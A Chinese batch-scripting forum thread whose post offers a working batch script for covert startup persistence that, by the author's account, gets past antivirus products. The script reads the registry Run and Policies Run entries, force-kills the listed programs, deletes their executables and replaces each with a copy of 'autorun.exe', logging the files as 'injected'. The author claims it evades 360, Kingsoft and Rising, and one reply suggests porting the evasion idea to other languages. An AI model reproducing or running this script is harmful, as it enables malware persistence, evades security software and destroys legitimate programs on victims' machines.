[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[注册表类] BAT突破防火墙拦截实现随机启动

本帖最后由 wuhengsi 于 2013-5-2 21:11 编辑

作为一个优秀的"后台程序",它的开机启动(简称自启)功能是必不可少的,
然而,自从09年后各大杀毒软件的防御体系超级的改善提升,系统各个稍具有安全威胁的入口早被杀软
紧紧盯上,即使是一只"苍蝇"也难以进入系统了,当然设置自启的入口也不列外被紧盯了,那么"后台程序"
设置自启的问题真要面临瓶颈了么?嗯,是的, 诸如:注册表入口、菜单自启动入口、autorun.bat入口、
计划任务入口、autorun.inf入口、win.ini和system.ini入口、替换系统文件入口这些已是杀软监视范围
稍有动静就会被拦截警示!不过天网恢恢,任何事情不可能完美无缺没有漏洞的存在,我想很多人也正在
挖空心思、绞尽脑汁在寻找这个漏洞,也就是新的自启方式。

     以下程序代码是我无意想到的一种新的自启方式,它实现的思路是:不修改注册表,替换注册表下对应的文件,
它完全突破了杀软的主动防御而实现了注册表自启的功能。早段时间 就测试通过国内的 360、金山、瑞星。。。。。国外的AV尚未测试

        http://yaodianrj.lingd.net

  BAT代码(以下代码要保存为后缀名为*.bat的文件)   测试程序前必须备份随机启动的软件主EXE文件,否则会删除
rem ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
setlocal enabledelayedexpansion
if exist %windir%\echoreg\*.* del /q/f %windir%\echoreg\*.*>nul 2>nul
for %%a in (%windir%\reglist.txt %windir%\regv.txt %windir%\tmp1_reglist.txt) do (
if exist "%%a" del /q/f "%%a">nul 2>nul)
:: /////////////////////////////////////////////////////////////////////////////////////// 得到注册表启动项
for /f "skip=4 tokens=1* delims=:" %%i in ('reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run') do (
    set str=%%i
    set var=%%j
    set "var=!var:"=!"
    if not "!var:~-1!"=="=" echo !str:~-1!:!var! >>%windir%\tmp1_reglist.txt
)
:: ///////////////////////////////////////////////////////////////////////////////////////
for /f "skip=4 tokens=1* delims=:" %%i in ('reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run') do (
    set str=%%i
    set var=%%j
    set "var=!var:"=!"
    if not "!var:~-1!"=="=" echo !str:~-1!:!var! >>%windir%\tmp1_reglist.txt
)
:: ///////////////////////////////////////////////////////////////////////////////////////
for /f "skip=4 tokens=1* delims=:" %%i in ('reg query HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run') do (
    set str=%%i
    set var=%%j
    set "var=!var:"=!"
    if not "!var:~-1!"=="=" echo !str:~-1!:!var! >>%windir%\tmp1_reglist.txt
)
:: ///////////////////////////////////////////////////////////////////////////////////////
for /f "skip=4 tokens=1* delims=:" %%i in ('reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run') do (
    set str=%%i
    set var=%%j
    set "var=!var:"=!"
    if not "!var:~-1!"=="=" echo !str:~-1!:!var! >>%windir%\tmp1_reglist.txt
)
:: //////////////////////////////////// 挑去垃圾字符
for /f "tokens=*" %%i in (%windir%\tmp1_reglist.txt) do (
set var=%%i
setlocal enabledelayedexpansion
set "var=!var:-autorun=!"
set "var=!var:/autorun=!"
set "var=!var:/hideme=!"
set "var=!var:/start=!"
set "var=!var:-start=!"
set "var=!var:1 /local=!"
echo !var!>>%windir%\reglist.txt
)
echo. //////////////////////////////////////// 分离路径获得文件全名
@echo off
setlocal enabledelayedexpansion
del /q/f %windir%\dokilltask.txt
for /f "delims=" %%a in (%windir%\reglist.txt) do (
set var=%%a
for /f "delims=" %%b in ("!var!") do echo %%~nxa >>%windir%\dokilltask.txt
)
echo. ////////////////////////////////////////// 循环dokilltask.txt结束进程,必先结束进程再拷贝否则拷贝文件会失败
@echo off
for /f "delims=" %%c in (%windir%\dokilltask.txt) do (
taskkill /f /im %%c>nul 2>nul
)
:: ///////////////////////////////// 拷贝文件,将“autorun.exe”拷贝到被结束进程的文件的路径下 (注:%windir%是变量,等于C:\WINDOWS)
if not exist %windir%\echoreg md %windir%\echoreg>nul 2>nul
for /f "tokens=*" %%a in (%windir%\reglist.txt) do (
del /q/f "%%a"&if not exist "%%a" copy "%windir%\autorun.exe" "%%a"&&echo.已注入到"%%a">>%windir%\echoreg\lyr_ok.txt&&copy "%%a" %windir%\echoreg\                                               
)  
rem ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

感谢分享
楼主能否在顶楼注明一下这个代码在哪些防火器/杀软下面通过了测试?

TOP

我早段时间 就测试通过国内的 360、金山、瑞星。。。。。
杀毒软件默默不动。。。。。

TOP

通过这个免杀的思路,可以采用高级语言编写,效果更好。。。

TOP

返回列表